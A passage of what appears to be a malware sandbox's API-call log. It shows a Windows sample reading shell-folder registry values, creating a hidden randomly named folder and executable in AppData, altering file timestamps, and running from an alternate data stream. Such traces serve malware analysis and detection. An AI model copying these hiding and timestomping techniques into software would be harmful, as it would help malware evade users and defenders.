dwIndex=0x16, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Startup", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.377] RegEnumValueA (in: hKey=0x130, dwIndex=0x17, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Administrative Tools", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.381] RegEnumValueA (in: hKey=0x130, dwIndex=0x18, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Personal", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.381] RegEnumValueA (in: hKey=0x130, dwIndex=0x19, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{BFB9D5E0-C6A9-404C-B2B2-AE6DB6AF4968}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.387] RegEnumValueA (in: hKey=0x130, dwIndex=0x1a, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cache", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.388] RegEnumValueA (in: hKey=0x130, dwIndex=0x1b, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Templates", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.388] RegEnumValueA (in: hKey=0x130, dwIndex=0x1c, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.388] RegEnumValueA (in: hKey=0x130, dwIndex=0x1d, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0261.397] RegEnumValueA (in: hKey=0x130, dwIndex=0x1e, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0261.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x439258, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0261.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x439258, cbMultiByte=7, lpWideCharStr=0x1efe950, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0261.398] RegQueryValueExW (in: hKey=0x130, lpValueName="AppData", lpReserved=0x0, lpType=0x18f8c0, lpData=0x0, lpcbData=0x18f8d0*=0x0 | out: lpType=0x18f8c0*=0x1, lpData=0x0, lpcbData=0x18f8d0*=0x5c) returned 0x0 [0261.400] RegQueryValueExW (in: hKey=0x130, lpValueName="AppData", lpReserved=0x0, lpType=0x18f8c0, lpData=0x1efe950, lpcbData=0x18f8d0*=0x5c | out: lpType=0x18f8c0*=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpcbData=0x18f8d0*=0x5c) returned 0x0 [0261.400] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe9d8) returned 1 [0261.404] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpszShortPath=0x433058, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming") returned 0x21 [0261.425] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x433058) returned 1 [0261.425] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.425] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439210) returned 1 [0261.425] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd278) returned 1 [0261.425] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.425] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd268) returned 1 [0261.426] RegCloseKey (hKey=0x130) returned 0x0 [0261.426] CryptAcquireContextW (in: phProv=0x18f954, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f954*=0x595a28) returned 1 [0261.427] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f968 | out: pbBuffer=0x18f968) returned 1 [0261.427] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.428] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0261.428] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.428] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.428] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.428] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.429] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.429] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.429] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.430] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.430] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.430] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.431] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.431] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.431] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.432] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.432] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.432] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.433] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.433] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.433] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.433] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.433] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.434] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.434] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.434] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.434] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.435] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.435] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.435] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.436] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.436] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.436] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.437] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.437] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.437] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.438] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.438] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.438] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.439] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.439] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.439] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.439] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.439] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.439] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.440] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.440] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.440] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.441] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.441] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.441] CreateDirectoryW (lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RsVrYBIow" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\rsvrybiow"), lpSecurityAttributes=0x0) returned 1 [0261.442] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RsVrYBIow", dwFileAttributes=0x2) returned 1 [0261.443] CryptAcquireContextW (in: phProv=0x18f954, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f954*=0x595a28) returned 1 [0261.443] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f968 | out: pbBuffer=0x18f968) returned 1 [0261.443] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.443] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0261.443] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.444] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.444] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.444] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.445] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.445] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.445] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.446] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.446] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.446] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.447] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.447] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.447] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.448] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.448] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.448] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.449] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.449] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.449] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.449] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.449] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.449] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.450] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.450] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.450] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.451] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.451] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.451] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.452] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.452] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.452] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.453] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.453] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.453] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.454] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.454] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.454] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.455] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.455] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.455] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.455] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.455] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.455] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.456] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.456] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.456] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.571] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.580] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.580] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.595] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.595] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.597] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.609] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.609] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.609] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.610] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.610] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.610] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.611] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.611] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.611] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.612] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.612] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.612] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.613] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.613] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.613] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.614] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.614] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.614] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.615] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.615] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.615] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.616] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.616] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.616] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x595a28) returned 1 [0261.616] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0261.616] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0261.617] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RsVrYBIow\\o0u5OT4qMnpsuV.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\rsvrybiow\\o0u5ot4qmnpsuv.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x1ef0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x18fcb0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0261.617] GetLastError () returned 0x2 [0261.617] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RsVrYBIow\\o0u5OT4qMnpsuV.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\rsvrybiow\\o0u5ot4qmnpsuv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x130 [0262.013] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x184) returned 0x433058 [0262.014] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4399f0 [0262.014] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4399a8 [0262.014] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439960 [0262.014] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439918 [0262.015] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4398d0 [0262.015] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439888 [0262.015] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439840 [0262.015] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4397f8 [0262.015] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4397b0 [0262.017] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439768 [0262.017] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439720 [0262.017] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4396d8 [0262.017] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439690 [0262.017] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439528 [0262.018] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439648 [0262.018] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439600 [0262.018] SetFileTime (hFile=0x130, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0262.018] NtClose (Handle=0x130) returned 0x0 [0262.022] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x800) returned 0x4331e8 [0262.022] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RsVrYBIow\\o0u5OT4qMnpsuV.exe", lpszShortPath=0x4331e8, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RSVRYB~1\\O0U5OT~1.EXE") returned 0x37 [0262.051] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RsVrYBIow\\o0u5OT4qMnpsuV.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\rsvrybiow\\o0u5ot4qmnpsuv.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f95c | out: lpFileInformation=0x18f95c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xdacdb6a0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0xdacdb6a0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xdacdb6a0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0262.051] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RsVrYBIow\\o0u5OT4qMnpsuV.exe", dwFileAttributes=0x80) returned 1 [0262.051] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RsVrYBIow\\o0u5OT4qMnpsuV.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\rsvrybiow\\o0u5ot4qmnpsuv.exe")) returned 1 [0262.051] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4331e8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\hat7ao~1:bin")) returned 0x2e [0262.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0262.052] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\hat7ao~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xd5e74200, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0xd5e74200, ftLastAccessTime.dwHighDateTime=0x1d5d030, 